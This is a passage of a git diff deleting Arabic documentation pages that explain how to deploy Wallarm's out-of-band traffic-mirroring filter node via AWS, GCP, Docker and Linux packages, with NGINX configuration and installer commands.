b/docs/latest-ar/installation/oob/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-ar/installation/oob/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/aws-ami.md b/docs/latest-ar/installation/oob/web-server-mirroring/aws-ami.md deleted file mode 100644 index 43b2c097b8..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/aws-ami.md +++ /dev/null @@ -1,56 +0,0 @@ -# نشر Wallarm OOB من صورة أمازون - -توفر هذه المقالة التعليمات لنشر [Wallarm OOB](overview.md) على AWS باستخدام [الصورة الرسمية لآلة أمازون (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD). الحل الموصوف هنا مصمم لتحليل حركة المرور المعكوسة بواسطة الويب أو خادم الوكيل. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -## 6. الاتصال بالنسخة السحابية من Wallarm - -يتصل عقدة النسخة السحابية بالسحابة من Wallarm عبر السكربت [`cloud-init.py`][cloud-init-spec]. يقوم هذا السكريبت بتسجيل العقدة مع السحابة من Wallarm باستخدام الرمز المقدم، ويعمل على تحديدها عالميًا إلى وضع [المراقبة][wallarm-mode]، ويقوم بتعيين الأوامر [`wallarm_force`][wallarm_force_directive] في كتلة `location /` في NGINX لتحليل نسخ حركة المرور المعكوسة فقط. إعادة تشغيل NGINX تنهي الإعداد. - -قم بتشغيل السكريبت `cloud-init.py` على النسخة المنشأة من الصورة السحابية كما يلي: - -=== "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror -H us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror - ``` - -* `WALLARM_LABELS='group='` يحدد اسم مجموعة العقدة (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها). يتم تطبيقه فقط إذا كان يستخدم رمز API. -* `` هو القيمة المنسوخة للرمز. - -## 7. تكوين الويب أو خادم الوكيل لعكس حركة المرور إلى عقدة Wallarm - -1. قم بتكوين خادم الويب أو الوكيل (مثلاً NGINX، Envoy) لعكس حركة المرور الواردة إلى عقدة Wallarm. للحصول على تفاصيل التكوين، نوصي بالرجوع إلى دليل خادم الويب أو الوكيل. - - داخل [الرابط][web-server-mirroring-examples]، ستجد التكوين المثالي لأشهر خوادم الويب والوكلاء (NGINX، Traefik، Envoy). -1. قم بتعيين التكوين التالي في ملف `/etc/nginx/sites-enabled/default` على النسخة بالعقدة: - - ``` - location / { - include /etc/nginx/presets.d/mirror.conf; - - # قم بتغيير 222.222.222.22 إلى عنوان خادم العكس - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - } - ``` - - أوامر `set_real_ip_from` و`real_ip_header` مطلوبة لعرض عناوين IP للمخترقين في [وحدة تحكم Wallarm][real-ip-docs]. - -## 8. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-oob.md" - -## 9. ضبط الحل المنشور - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/docker-image.md b/docs/latest-ar/installation/oob/web-server-mirroring/docker-image.md deleted file mode 100644 index 3551fef3d8..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/docker-image.md +++ /dev/null @@ -1,152 +0,0 @@ -[doc-wallarm-mode]: ../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../supported-deployment-options.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[memory-instr]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../cloud-platforms/alibaba-cloud/docker-container.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - -# تجهيز Wallarm OOB من الصورة المستخدمة Docker - -تقدم هذه المقالة تعليمات حول تجهيز [Wallarm OOB](overview.md) بالاستفادة من الصورة المستخدمة [NGINX-based Docker](https://hub.docker.com/r/wallarm/node). التحليل الوارد هنا صمم لتحليل حركة المرور المتكررة التي يوفرها الويب الخادم الأولي أو الخادم الوكيل. - -## سيناريوهات الاستخدام - ---8<-- "../include/waf/installation/docker-images/nginx-based-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-docker-nginx-4.0.md" - -## 1. تكوين تكرار حركة المرور - ---8<-- "../include/waf/installation/sending-traffic-to-node-oob.md" - -## 2. إعداد ملف تكوين لتحليل حركة المرور المكررة وأكثر - -لتمكين عقدات Wallarm من تحليل حركة المرور المتكررة، يجب عليك تكوين الإعدادات الإضافية في ملف منفصل وتوصيله بحاوية Docker. الملف التكوين الافتراضي الذي يحتاج إلى تعديل موجود في `/etc/nginx/sites-enabled/default` ضمن الصورة المستخدمة Docker. - -في هذا الملف، يجب عليك تحديد تكوين عقدة Wallarm لمعالجة حركة المرور المتكررة وأي إعدادات أخرى مطلوبة. اتبع هذه التعليمات للقيام بذلك: - -1. قم بإنشاء ملف التكوين NGINX المحلي المسمى `default` بالمحتوى التالي: - - ``` - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Change 222.222.222.22 to the address of the mirroring server - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - - wallarm_mode monitoring; - - location / { - - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - * توجب وجود التوجيهات `set_real_ip_from` و `real_ip_header` لتعريض عناوين IP للمهاجمين في منصة [Wallarm Console][proxy-balancer-instr]. - * يتطلب توجيه `wallarm_force_response_*` تعطيل تحليل كل الطلبات باستثاء النسخ المتلقاة من حركة المرور المتكررة. - * التوجيه `wallarm_mode` هو [وضع[a][waf-mode-instr] تحليل حركة المرور. منذ أن الطلبات الخبيثة لا يمكن[a][oob-advantages-limitations] حظرها, الوضع الوحيد الذي يقبله Wallarm هو المراقبة. لتجهيزها بشكل خطي, أيضاً هناك أوضاع آمنة للحظر ووضع حظر ولكن حتى ان قمت بتحديد التوجيه `wallarm_mode` لقيمة مختلفة عن المراقبة, سوف يستمر العقد في مراقبة حركة المرور وتسجيل فقط حركة - المرور الخبيثة (باستثناء الوضع المحدد للإيقاف). -1. حدد أي توجيهات Wallarm مطلوبة أخرى. يمكنك الرجوع لتوثيق [معلمات تكوين Wallarm](../../../admin-en/configure-parameters-en.md) و [استخدام السيناريوهات](#configuring-the-use-cases) لفهم أي إعدادات قد تكون مفيدة لك. -1. إذا كان ذلك ضرورياً، قم بتعديل إعدادات NGINX الأخرى لتخصيص سلوكها. استشر [توثيق NGINX](https://nginx.org/en/docs/beginners_guide.html) للمساعدة. - -يمكنك أيضاً توصيل الملفات الأخرى إلى الدلائل الاستعدادية التالية للحاوية إذا تطلب الأمر: - -* `/etc/nginx/conf.d` — الإعدادات المشتركة -* `/etc/nginx/sites-enabled` — إعدادات المضيف الافتراضي -* `/opt/wallarm/usr/share/nginx/html` — الملفات الثابتة - -## 3. احصل على رمز لتوصيل العقدة بالسحابة - -احصل على رمز Wallarm من ال[نوع المناسب][wallarm-token-types]: - -=== "رمز ال API" - - 1. افتح واجهة Wallarm → **الإعدادات** → ** رموز ال API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور مصدر `Deploy`. - 1. انسخ هذا الرمز. - -=== "رمز العقدة" - - 1. افتح واجهة Wallarm → **العقدات** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإحدى التالي: - * أنشئ عقدة من نوع **Wallarm node** وانسخ الرمز الناتج. - * استخدم مجموعة العقدة الحالية - انسخ الرمز باستخدام قائمة العقدة → **نسخ الرمز**. - -## 4. تشغيل حاوية Docker مع العقدة - -تشغيل حاوية Docker مع العقدة [mounting](https://docs.docker.com/storage/volumes/) الملف التكوين الذي أنشأته للتو. - -=== "السحابة الأمريكية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.10.4-1 - ``` -=== "السحابة الأوروبية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.10.4-1 - ``` - -ينبغي تمرير المتغيرات البيئية التالية للحاوية: - ---8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - -## 5. اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## تكوين السجل - -السجل مفعل بشكل افتراضي. الدلائل السجلية هي: - -* `/var/log/nginx` — سجلات NGINX -* `/opt/wallarm/var/log/wallarm` — [سجلات عقدة Wallarm][logging-instr] - -## تكوين سيناريو الاستخدام - -يجب أن يصف الملف التكوين الذي يمت للحاوية Docker توصيف عقدة التصفية في [التوجيهات المتاحة](../../../admin-en/configure-parameters-en.md). فيما يلي بعض الخيارات المشتركة لتوصيف عقدة التصفية: - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/gcp-machine-image.md b/docs/latest-ar/installation/oob/web-server-mirroring/gcp-machine-image.md deleted file mode 100644 index a3d2879574..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/gcp-machine-image.md +++ /dev/null @@ -1,56 +0,0 @@ -# نشر Wallarm OOB من صورة آلة GCP - -توفر هذه المقالة تعليمات لنشر [Wallarm OOB](overview.md) على منصة Google Cloud باستخدام [الصورة الرسمية للآلة](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). تم تصميم الحل الموضح هنا لتحليل حركة المرور التي يتم توجيهها بشكل معكوس بواسطة خادم الويب أو الوكيل. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. ربط عقدة التصفية بسحابة Wallarm - -تتصل عقدة النسخة السحابية بالسحابة عن طريق النص البرمجي [cloud-init.py][cloud-init-spec]. يقوم هذا النص البرمجي بتسجيل العقدة في سحابة Wallarm باستخدام رمز مقدم، ويضبطها عالميًا على [وضع][wallarm-mode] المراقبة، ويضبط الأوامر [`wallarm_force`][wallarm_force_directive] في كتلة `location /` في NGINX لتحليل نسخ حركة المرور المعكوسة فقط. إعادة تشغيل NGINX ينهي الإعداد. - -قم بتشغيل النص البرمجي `cloud-init.py` على النسخة المنشأة من صورة السحاب كما يلي: - -=== "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror -H us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror - ``` - -* `WALLARM_LABELS='group='` يضبط اسم مجموعة العقدة (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها). يتم تطبيقها فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز المنسوخة. - -## 6. تكوين خادم الويب أو الوكيل لديك لتوجيه حركة المرور إلى عقدة Wallarm - -1. قم بتكوين خادم الويب أو الوكيل لديك (مثل NGINX، Envoy) لتوجيه حركة المرور الواردة إلى عقدة Wallarm. للحصول على تفاصيل التكوين، نوصي بالرجوع إلى وثائق خادم الويب أو الوكيل لديك. - - داخل [الرابط][web-server-mirroring-examples]، ستجد تكوين المثال لأشهر خوادم الويب والوكلاء (NGINX، Traefik، Envoy). -1. اضبط التكوين التالي في ملف `/etc/nginx/sites-enabled/default` على النسخة التي تحتوي على العقدة: - - ``` - location / { - include /etc/nginx/presets.d/mirror.conf; - - # قم بتغيير 222.222.222.22 إلى عنوان خادم التوجيه - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - } - ``` - - أوامر `set_real_ip_from` و`real_ip_header` مطلوبة ليتم عرض عناوين IP للمهاجمين في [وحدة تحكم Wallarm][real-ip-docs]. - -## 7. اختبار تشغيل Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-oob.md" - -## 8. تعديل الحل المنشور بدقة - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/linux/all-in-one.md b/docs/latest-ar/installation/oob/web-server-mirroring/linux/all-in-one.md deleted file mode 100644 index 443e5824d9..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/linux/all-in-one.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[oob-advantages-limitations]: ../../../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../../../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[download-aio-step]: #step-3-download-all-in-one-wallarm-installer -[enable-traffic-analysis-step]: #step-5-enable-wallarm-node-to-analyze-traffic -[restart-nginx-step]: #step-6-restart-nginx -[separate-postanalytics-installation-aio]: ../../../../admin-en/installation-postanalytics-en.md#all-in-one-automatic-installation -[threat-replay-testing-docs]: ../../../../vulnerability-detection/threat-replay-testing/overview.md -[api-discovery-docs]: ../../../../api-discovery/overview.md -[vuln-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md -[masking-sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - -# التوظيف باستخدام الأداة All-in-One - -توفر هذه التعليمات الخطوات التي توضح كيفية تثبيت Wallarm كوحدة نمطية ديناميكية [OOB](../overview.md) باستخدام **أداة التثبيت All-in-One** المصممة لتبسيط وتوحيد عملية تثبيت وحدة Wallarm النمطية التي تعمل كوحدة لـ NGINX في مختلف البيئات. تقوم هذه الأداة بتحديد نظام التشغيل وإصدارات NGINX تلقائياً، ثم تثبت جميع الاعتمادات اللازمة. - -بالمقارنة بالحزم الفردية لنظام التشغيل Linux التي توفرها Wallarm لـ [NGINX](nginx-stable.md)، و[NGINX Plus](nginx-plus.md)، و[نسخة NGINX الموزعة مسبقًا](nginx-distro.md)، تبسط أداة التثبيت **All-in-One** العملية من خلال القيام تلقائياً بالإجراءات التالية: - -1. التحقق من نظام التشغيل وإصدار NGINX الخاص بك. -1. إضافة مستودعات Wallarm لنظام التشغيل وإصدار NGINX المكتشف. -1. تثبيت حزم Wallarm من هذه المستودعات. -1. التوصيل بوحدة Wallarm المثبتة مع NGINX الخاص بك. -1. توصيل العقدة التصفية بـ Wallarm Cloud باستخدام الرمز المميز المقدم. - -![الأداة All-in-One مقارنة بالتثبيت اليدوي](../../../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## سيناريوهات الاستخدام - ---8<-- "../include/waf/installation/all-in-one/use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/all-in-one-requirements.md" - -## الخطوة 1: تثبيت NGINX والاعتمادات اللازمة - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## الخطوة 2: استعد رمز Wallarm المميز - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## الخطوة 3: تحميل المثبت All-in-One من Wallarm - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## الخطوة 4: تشغيل المثبت All-in-One من Wallarm - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -أوامر الخطوات اللاحقة هي نفسها للتثبيتات x86_64 و ARM64. - -## الخطوة 5: تمكين عقدة Wallarm لتحليل الحركة - ---8<-- "../include/waf/installation/oob/steps-for-mirroring-linux-all-in-one.md" - -## الخطوة 6: إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## الخطوة 7: تكوين إرسال الحركة إلى عقدة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-oob.md" - -## الخطوة 8: تجربة عملية عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## الخطوة 9: ضبط الحل المنصوب بشكل دقيق - -تم تثبيت الوحدة النمطية الديناميكية لـ Wallarm مع الإعدادات الافتراضية. قد تحتاج العقدة التصفية إلى بعض التكوينات الإضافية بعد النشر. - -يتم تعريف إعدادات Wallarm باستخدام [التوجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة المستخدم الرسومية لـ Wallarm Console. يجب تعيين التوجيهات في الملفات التالية على الجهاز التي تحتوي على العقدة Wallarm: - -* `/etc/nginx/nginx.conf` مع إعدادات NGINX -* `/etc/nginx/wallarm-status.conf` مع إعدادات مراقبة العقدة Wallarm. وصف مفصل متاح داخل [الرابط][wallarm-status-instr] -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` مع الإعدادات للإضافة `collectd` التي تجمع الإحصائيات من Tarantool - -أدناه هناك بعض التوجيهات الأنماطية التي يمكنك تطبيقها إذا كانت بحاجة: - -* [تخصيص الموارد للعقد Wallarm][memory-instr] -* [تسجيل متغيرات العقد Wallarm][logging-instr] -* [استخدام متوازن للخادم الوسيط وراء العقدة التصفية][proxy-balancer-instr] -* [الحد من وقت معالجة الطلبات الفردية في التوجيه `wallarm_process_time_limit`][process-time-limit-instr] -* [الحد من وقت الانتظار للرد من الخادم في التوجيه `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [الحد من الحجم الأقصى للطلب في التوجيه `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [تكوين الدقة الديناميكية لـ DNS في NGINX][dynamic-dns-resolution-nginx] - -## خيارات التشغيل - ---8<-- "../include/waf/installation/all-in-one/launch-options.md" - -## بدء التثبيت من جديد - -إذا كنت بحاجة إلى حذف تثبيت العقدة Wallarm والبدء من جديد, فاتبع الخطوات أدناه. - -!!! warning "تأثير بدء التثبيت من جديد" - بدء التثبيت من جديد يشمل إيقاف وحذف الخدمات الجارية لـ Wallarm, مما يعلق تصفية الحركة حتى إعادة التثبيت. كن حذراً في بيئات الإنتاج أو الحركة الحرجة, حيث يترك الحركة غير مصفاة وعرضة للخطر. - - لترقية العقدة الموجودة (مثلاً, من 4.8 إلى 4.10), راجع [تعليمات الترقية](../../../../updating-migrating/all-in-one.md). - -1. إنهاء عمليات Wallarm وإزالة ملفات التكوين: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` -2. استمر في عملية إعادة التثبيت عن طريق اتباع تعليمات الإعداد من [الخطوة الثانية](#step-2-prepare-wallarm-token). \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-distro.md b/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-distro.md deleted file mode 100644 index e6589ae79a..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-distro.md +++ /dev/null @@ -1,75 +0,0 @@ -# تثبيت الوحدة الديناميكية الخارجية لـ Wallarm لإصدارات NGINX المقدمة من التوزيع - -تصف هذه التعليمات الخطوات لتثبيت Wallarm كوحدة ديناميكية [خارجية](../overview.md) باستخدام حزم Linux لـ NGINX المقدمة من التوزيع. - -يمكن الحصول على NGINX Open Source من nginx.org أو المستودعات الافتراضية لـ Debian/CentOS اعتمادًا على متطلباتك وتفضيلات إصدار NGINX وسياسات إدارة المستودع. توفر Wallarm حزمًا لكل من [nginx.org](nginx-stable.md) والإصدارات المقدمة من التوزيع. يركز هذا الدليل على NGINX من مستودعات Debian/CentOS. - -تتوافق وحدة Wallarm مع NGINX المقدمة من التوزيع على أنظمة التشغيل التالية: - -* Debian 10.x (buster) -* Debian 11.x (bullseye) -* CentOS 7.x -* AlmaLinux، Rocky Linux أو Oracle Linux 8.x -* RHEL 8.x - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. تمكين Wallarm لتحليل حركة المرور - ---8<-- "../include/waf/installation/oob/steps-for-mirroring-linux.md" - -## 6. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. تكوين إرسال الحركة إلى كيان Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-oob.md" - -## 8. اختبار تشغيل كيان Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 9. ضبط الحل المنشور بدقة - -تم تثبيت الوحدة الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX `الثابت`. قد يتطلب كيان التصفية بعض التكوينات الإضافية بعد النشر. - -تُعرّف إعدادات Wallarm باستخدام [توجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة المستخدم لوحة تحكم Wallarm. يجب ضبط التوجيهات في الملفات التالية على الجهاز الذي يحتوي على كيان Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات كيان التصفية العالمية - - يُستخدم الملف للإعدادات المطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات النطاقات المختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و `test.com.conf`). المزيد من المعلومات التفصيلية حول ملفات تكوين NGINX متوفرة في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة كيان Wallarm. الوصف التفصيلي متوفر ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -أدناه بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل DNS الديناميكي في NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-plus.md b/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-plus.md deleted file mode 100644 index d3cd593fc2..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-plus.md +++ /dev/null @@ -1,59 +0,0 @@ -# تثبيت الوحدة الديناميكية لـ Wallarm OOB لـ NGINX Plus باستخدام حزم لينكس - -تصف هذه التعليمات الخطوات لتثبيت Wallarm كوحدة ديناميكية [OOB](../overview.md) لـ NGINX Plus. - -تدعم Wallarm أنظمة التشغيل التالية: - -* Debian 11.x (bullseye) -* Ubuntu 18.04 LTS (bionic) -* Ubuntu 20.04 LTS (focal) -* Ubuntu 22.04 LTS (jammy) -* CentOS 7.x -* Amazon Linux 2.0.2021x وأقل -* AlmaLinux, Rocky Linux أو Oracle Linux 8.x -* RHEL 8.x - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## الشروط المطلوبة - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. تمكين Wallarm لتحليل الزيارات - ---8<-- "../include/waf/installation/oob/steps-for-mirroring-linux.md" - -## 7. إعادة تشغيل NGINX Plus - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال الزيارات إلى نموذج Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-oob.md" - -## 9. اختبار عمل نموذج Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. تعديل وضبط الحل المُنشر - -يتم تثبيت الوحدة الديناميكية لـ Wallarm بالإعدادات الافتراضية لـ NGINX Plus. قد يتطلب النموذج مرشحًا بعض الإعدادات الإضافية بعد النشر. - -تُعرف إعدادات Wallarm باستخدام [توجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة مستخدم Wallarm Console. يجب ضبط التوجيهات في الملفات التالية على الجهاز الذي يحتوي على نموذج Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات النموذج المرشح العالمية - - يُستخدم الملف للإعدادات التي يتم تطبيقها على جميع المجالات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم ملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة نطاق (على سبيل المثال، `example.com.conf` و `test.com.conf`). تتوفر معلومات أكثر تفصيلاً حول ملفات تكوين NGINX في [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* 